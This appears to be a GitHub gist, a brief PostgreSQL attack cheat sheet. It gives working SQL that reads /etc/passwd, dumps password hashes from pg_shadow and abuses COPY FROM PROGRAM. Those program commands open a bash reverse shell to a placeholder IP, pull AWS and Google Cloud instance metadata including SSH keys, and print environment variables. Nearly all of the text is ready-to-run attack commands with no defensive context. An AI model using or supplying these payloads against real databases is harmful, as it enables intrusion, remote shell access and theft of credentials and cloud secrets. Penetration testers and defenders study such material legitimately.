random-robbie/postgre-etc.md

## postgre-etc.md

      
    Raw
  

              postgre-etc.md
            
          
    List All Takes

SELECT table_schema,table_name
FROM information_schema.tables
ORDER BY table_schema,table_name;

LFI Example

CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;

Display Postgresql users

SELECT usename, passwd FROM pg_shadow;

Show Current User

select current_user;

Reverse Shell

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'bash -i >& /dev/tcp/IP/4444 0>&1';
SELECT weather_json FROM weather_json;

Grab AWS Metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;

Grab Google Cloud Metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://metadata.google.internal/computeMetadata/v/project/attributes/ssh-keys?alt=json -H "Metadata-Flavor: Google"';
SELECT weather_json FROM weather_json;


Enviroment Variables

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'printenv';
SELECT weather_json FROM weather_json;